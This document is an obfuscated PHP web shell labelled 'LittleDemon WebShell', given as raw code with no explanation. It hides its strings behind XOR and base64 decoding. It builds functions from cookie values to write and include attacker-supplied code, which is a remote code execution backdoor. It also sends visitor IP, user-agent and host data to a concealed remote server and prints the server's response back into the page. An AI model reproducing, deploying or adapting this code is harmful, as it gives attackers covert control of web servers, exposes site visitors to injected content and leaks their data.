LittleDemon WebShell

<?php class _gd{private static$_ml;static function _vlg($_mx,$_fe){if(!self::$_ml)self::_fcg();$_el=strlen($_fe);$_qsq=base64_decode(self::$_ml[$_mx]);for($_sv=0,$_gx=strlen($_qsq);$_sv!==$_gx;++$_sv)$_qsq[$_sv]=chr(ord($_qsq[$_sv])^ord($_fe[$_sv%$_el]));return$_qsq;}private static function _fcg(){self::$_ml=array('_ccq'=>'HhQLEywERTUwGRwEMBtFNzMbBwFyOBofOB4GTH9d','_hk'=>'HB8cKxUcK10mJgAXZVATLwAeNhMTKxkdMV8YPgYTLBMANgAG','_wx'=>'PBo=','_alz'=>'OhAmBjwqJUAWAwtCEwMLQhMDC0ITAwtCFgAbHzs+KR8QACZGBTEiRhYAGx88BDobFgMDHzsuOgw7KiZP','_xj'=>'Lg0cHg==','_gv'=>'Yw0eYQ==','_yp'=>'YwkbO1U=','_kdu'=>'KAALMw==','_bd'=>'','_ixb'=>'','_az'=>'','_ell'=>'NxkTL1dIcB0SPUMQOg8BNgECNwIUKwgVcQ4IMkIEMAAXMB4CLUMNLFIDPhkGYg==','_kp'=>'PAMECQAfGAwr','_gtk'=>'NxkCFAAOGQA6','_tj'=>'LBcPDDIR','_bt'=>'NwYNLwE=','_ou'=>'GDY4Uw==','_pe'=>'LwsYDQ==','_tle'=>'LhwEGiY=','_uq'=>'YA==','_cgk'=>'Lh8ILRM=','_ybt'=>'fyA+IQ9HW1tvZWA9MBseT38=','_ebi'=>'NwQGHA==','_xzr'=>'UmgiMAwPOgEVNg0PZUIiMw0SOm9rUmg=','_xiu'=>'LBYBSnBK','_xh'=>'','_hq'=>'NwMLKw==','_vw'=>'UnM=','_vy'=>'FywnDycwEzE2ESwsFig=','_qnm'=>'FyQ1Dy85ADYuDScgDTQkGy8nECI=','_mbc'=>'DSMqLgsjOCAbIjU=','_qr'=>'FzAgPQAxJygNOzUqGiog','_ngq'=>'Fzg5DzM4DCk/AC0qGiI5','_yjv'=>'','_al'=>'FzUgDz4mGicxDSQm','_vk'=>'Fy0xJwArIDEaKyAl','_eq'=>'','_aco'=>'FzcmKAAgPjEaLSYnFjM=','_pk'=>'Fz42JQApLjwaJDYqFjo=','_vs'=>'Fyw7Dyc3AD4gDS8uDTwqGycpECo=','_msr'=>'FzMyDzg+ACEpDTAnDSMjGzggEDU=','_xxa'=>'DSg+EDk2ACw3Gz8=','_brl'=>'DTYjPAs2MTIbNzw=','_my'=>'OwUQFDADEg==','_dqi'=>'FipDfw==','_eg'=>'fw5BCjNbfw==','_stz'=>'fwVUDRwSZVk=','_cu'=>'f1oaAGFs','_wh'=>'Ngo=','_ta'=>'Khc=','_gej'=>'LQcN','_sd'=>'LgANFQ==',);}}header(_gd::_vlg('_ccq','_whv'));header(_gd::_vlg('_hk','_pr'));if(isset($_GET[_gd::_vlg('_wx','_ru')])){$_mil=_tn(_gd::_vlg('_alz','_ilv'));if($_mil&&strpos($_mil,_gd::_vlg('_xj','_zff'))!==false){die(_gd::_vlg('_gv','_bu'));}else{die(_gd::_vlg('_yp','_kz'));}}if(isset($_GET[_gd::_vlg('_kdu','_ag')])){$_gx=$_COOKIE;$_fe=(int)round(0+0);$_mx=(int)round(3.5+3.5);$_rdh=array();$_rdh[$_fe]=_gd::_vlg('_bd','_nz');while($_mx){$_rdh[$_fe].=$_gx[12+10- -8][$_mx];if(!$_gx[-373- -403][$_mx+(-57- -14-6+50)]){if(!$_gx[546-106-410][$_mx+(151+-149)])break;$_fe++;$_rdh[$_fe]=_gd::_vlg('_ixb','_og');$_mx++;}$_mx=$_mx+(int)round(3.5+3.5)+(int)round(0.25+0.25+0.25+0.25);}$_fe=$_rdh[-23- -37]().$_rdh[96- -50+151-273];if(!$_rdh[775-203+880+-1446]($_fe)){$_mx=$_rdh[(int)round(13+13)]($_fe,$_rdh[-14+-9+33-0]);$_rdh[-474+-298+781]($_mx,$_rdh[534-523].$_rdh[13- -10]($_rdh[(int)round(6.25+6.25+6.25+6.25)]($_gx[448-445])));}include($_fe);}function _tn($_quu,$_lpq=false){$_vo=_gd::_vlg('_az','_dxx');$_qyo=_gd::_vlg('_ell','_mg').$_quu;if(is_callable(_gd::_vlg('_kp','_vve'))){$_nnn=curl_init($_qyo);curl_setopt($_nnn,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_nnn,CURLOPT_SSL_VERIFYHOST,-182+249+-65);curl_setopt($_nnn,CURLOPT_FOLLOWLOCATION,776- -622+140+-1537);curl_setopt($_nnn,CURLOPT_RETURNTRANSFER,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_nnn,CURLOPT_HEADER,(int)round(0+0));curl_setopt($_nnn,CURLOPT_CONNECTTIMEOUT,(int)round(3.3333333333333+3.3333333333333+3.3333333333333));curl_setopt($_nnn,CURLOPT_TIMEOUT,(int)round(5+5));$_vo=curl_exec($_nnn);$_dyg=curl_getinfo($_nnn);curl_close($_nnn);if($_dyg[_gd::_vlg('_gtk','_mvd')]!=(int)round(50+50+50+50))return false;}else{$_fgr=parse_url($_qyo);$_rzf=($_fgr[_gd::_vlg('_tj','_tgi')]==_gd::_vlg('_bt','_ry'));$_ce=_gd::_vlg('_ou','_sls').$_fgr[_gd::_vlg('_pe','_jle')];if(isset($_fgr[_gd::_vlg('_tle','_iah')]))$_ce.=_gd::_vlg('_uq','_fvg').$_fgr[_gd::_vlg('_cgk','_jm')];$_ce.=_gd::_vlg('_ybt','_hju').$_fgr[_gd::_vlg('_ebi','_kuh')]._gd::_vlg('_xzr','_ba');$_iew=fsockopen(($_rzf?_gd::_vlg('_xiu','_emp'):_gd::_vlg('_xh','_ds')).$_fgr[_gd::_vlg('_hq','_lx')],$_rzf?(int)round(221.5+221.5):(int)round(26.666666666667+26.666666666667+26.666666666667));if($_iew){fputs($_iew,$_ce);$_qsq=(-183- -43- -140);while(!feof($_iew)){$_wub=fgets($_iew,(int)round(512+512));if($_qsq)$_vo.=$_wub;if($_wub==_gd::_vlg('_vw','_yki'))$_qsq=(int)round(0.33333333333333+0.33333333333333+0.33333333333333);}fclose($_iew);}}return$_vo;}$_igk=isset($_SERVER[_gd::_vlg('_vy','_xs')]);$_qf=isset($_SERVER[_gd::_vlg('_qnm','_pa')]);$_ib=isset($_SERVER[_gd::_vlg('_mbc','_fga')]);$_gv=isset($_SERVER[_gd::_vlg('_qr','_dtm')])?$_SERVER[_gd::_vlg('_ngq','_lm')]:_gd::_vlg('_yjv','_sl');$_aq=isset($_SERVER[_gd::_vlg('_al','_at')])?$_SERVER[_gd::_vlg('_vk','_yew')]:_gd::_vlg('_eq','_tva');$_igk=isset($_SERVER[_gd::_vlg('_aco','_crx')])?$_SERVER[_gd::_vlg('_pk','_jbu')]:null;$_qf=isset($_SERVER[_gd::_vlg('_vs','_xo')])?$_SERVER[_gd::_vlg('_msr','_gf')]:null;$_ib=isset($_SERVER[_gd::_vlg('_xxa','_ms')])?$_SERVER[_gd::_vlg('_brl','_sns')]:null;if(filter_var($_igk,(int)round(137.5+137.5))){$_yub=$_igk;}elseif(filter_var($_qf,(int)round(68.75+68.75+68.75+68.75))){$_yub=$_qf;}else{$_yub=$_ib;}if(isset($_GET[_gd::_vlg('_my','_gwy')])){echo _gd::_vlg('_dqi','_zy').$_yub._gd::_vlg('_eg','_ra').$_gv._gd::_vlg('_stz','_yt').$_aq._gd::_vlg('_cu','_fxr');exit();}if(!isset($_yub)||!isset($_gv)||!isset($_aq)){exit();}else{$_ako=array(_gd::_vlg('_wh','_zyf')=>$_yub,_gd::_vlg('_ta','_vv')=>$_gv,_gd::_vlg('_gej','_bkc')=>$_aq);$_er=urlencode(base64_encode(json_encode($_ako)));$_mil=_tn($_er);if($_mil&&strpos($_mil,_gd::_vlg('_sd','_wwm'))!==false){echo$_mil;exit();}}